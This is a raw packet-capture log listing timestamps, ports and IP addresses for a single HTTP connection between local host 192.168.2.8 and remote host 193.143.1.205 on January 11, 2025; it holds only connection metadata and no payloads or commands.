Jan 11, 2025 06:08:58.602998018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603010893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603024960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603043079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603055000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603081942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603094101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603106022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603122950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603148937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603161097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603173018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603173018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603276968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603818893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603831053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603842974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603864908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603877068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603887081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603921890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.603959084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603971958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603982925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603996038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.603998899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.604010105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.604029894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.604053020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.604062080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.604065895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.604110956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.604746103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.604759932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.604801893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.614252090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.621378899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.621397972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.621411085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.621423960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.621452093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.621493101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.628391981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655164003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655178070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655200958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655214071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655226946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655234098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655282021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655284882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655297995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655318975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655328989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655342102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655354023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655356884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655406952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.655447006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655457020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.655492067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.667179108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.686353922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.686367035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.686379910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.686454058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.689110994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689121962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689141989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689156055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689167976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689193010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.689207077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.689228058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689240932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689253092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689341068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.689424992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689435959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689446926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689460993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.689487934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720168114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720180035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720202923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720217943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720228910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720243931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720263958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720292091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720304966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720319986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720346928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720371962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720412970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720418930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720444918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720458031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720470905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720483065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720513105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720606089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720628023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720640898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720670938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720696926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720709085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720721960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720740080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720767021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720788002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720799923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720820904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720834017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720844030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720846891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720882893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720901012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720913887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720927000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.720952988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.720980883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721205950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721231937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721245050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721256971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721271038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721271038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721301079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721354008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721395969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721410036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721421957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721458912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721498966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721510887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721523046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721546888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721565962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721579075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721590996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721602917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721605062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721630096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721728086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721744061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721755981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721766949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721772909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721780062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721792936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721801043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721805096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721820116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721833944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721838951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721852064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721853971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721864939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.721875906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.721905947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725117922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725167036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725178957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725193977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725204945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725214005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725219011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725239038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725255966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725261927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725285053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725303888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725318909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725331068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725337982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725351095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725359917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725372076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725389004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725399971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725433111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725603104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725627899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725640059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725661993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725676060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725687027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725694895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725701094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725739956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725775957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725788116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725799084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725814104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725815058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725827932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.725841999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.725872040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726058960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726106882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726131916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726141930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726145983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726157904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726171970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726182938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726211071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726213932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726226091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726238012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726260900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726294041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726305962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726319075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726329088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.726331949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.726346970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.741930008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.741955042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.741967916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.741978884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.741985083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.742002964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.742017984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.742024899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.742026091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.742036104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.742099047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.773210049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773252010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773264885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773264885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.773296118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773308992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773310900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.773320913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773333073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773344994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.773344994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773359060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.773375034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.773428917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.774636030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.775955915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.775983095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.775995970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776010036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776021957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776024103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776036978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776074886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776098967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776107073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776124001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776138067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776149035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776165009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776174068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776184082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776191950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776196003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776210070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776218891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.776218891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.776246071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807060003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807084084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807096958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807109118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807121992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807132006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807133913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807152987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807161093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807164907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807192087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807204962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807208061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807219028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807231903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807248116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807266951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807277918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807282925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807302952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807317019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807322979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807337046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807348013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807351112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807365894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807375908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807408094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807410955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807420015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807431936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807463884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807470083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807490110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807502031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807508945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807513952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807528019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807538986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807544947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807564974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807606936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807616949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807627916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807634115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807642937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807661057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807662010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807672977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807693005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807703018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807730913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807737112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807743073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807756901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807780027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807825089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807836056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807842970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807877064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807878971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807893038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807903051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807904005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807934046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807945013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807956934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807969093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.807979107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.807996035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808007956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808049917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808060884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808079958 CET	80	49704	193.143.1.205	192.168.2.8
